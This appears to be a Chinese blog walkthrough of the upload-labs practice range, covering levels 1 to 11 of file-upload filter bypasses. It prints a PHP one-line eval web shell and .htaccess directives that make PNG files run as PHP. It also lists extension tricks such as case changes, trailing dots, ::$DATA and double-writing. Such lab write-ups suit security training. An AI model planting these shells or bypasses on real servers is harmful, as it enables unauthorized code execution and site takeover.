upload-labs靶场练习

pass-01

发现这道题使用的是前端JS代码过滤,所以我们可以直接抓包,修改文件后缀上传

<?php @eval($_POST['cmd']); ?>

查看返回包,找到文件上传的路径,访问文件

这就说明了上传的php文件已经被解析了,接下来可以用蚁剑工具进行连接

测试连接

添加连接

此时已经使用蚁剑成功连接了靶场的webshell权限,可以进行文件创建、修改等操作

pass-02

正常测试文件上传目录,只需判断出上传的木马文件可以被解析即可

<?php phpinfo();?>

查看源码,发现这道题使用的是前端过滤,只允许jpeg,jpg,png文件上传,继续抓包修改文件名后缀上传

访问上传后的文件

pass-03

查看源码,发现是后端黑名单过滤,禁止了php文件上传,且有各种拦截,这时我们可以上传php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml文件,这些文件也会以php文件的形式解析

发现上传成功,但是文件名被修改了,不过问题不大,直接访问

成功被解析

如果出现这种情况,php说明文件没有被解析,这是靶场环境问题

pass-04

查看源码,发现.htaccess文件没有被拦截

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

.htaccess的用途范围主要针对当前目录。

创建.htaccess文件,代码如下:

方法一:

<FilesMatch "4.png">SetHandler application/x-httpd-php</FilesMatch>

#如果当前目录下有4.png,就会被解析为.php

 方法二:

AddType application/x-httpd-php .png

#如果当前目录下有以.png结尾的文件,就会被解析为.php

用第二种方式写.htaccess文件,然后上传pp2.png,成功解析

pass-05

这道题可以用php. .绕过

pass-06

可以用大小写绕过

pass-07

可以空格绕过:Windows操作系统会忽略文件后缀的空格

看路径,查看

pass-08

点绕过:Windows系统下,文件后缀名最后一个点会被自动去除

pass-09

对上传的文件后缀名添加::$DATA,由于Windows的特性在磁盘中会忽略::$data并将文件新建

pass-10

点空格点绕过

pass-11

这里,str_ireplace函数的作用是把文件名中出现deny_ext中的关键字替换为空,所以这里我们可以使用双写绕过

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值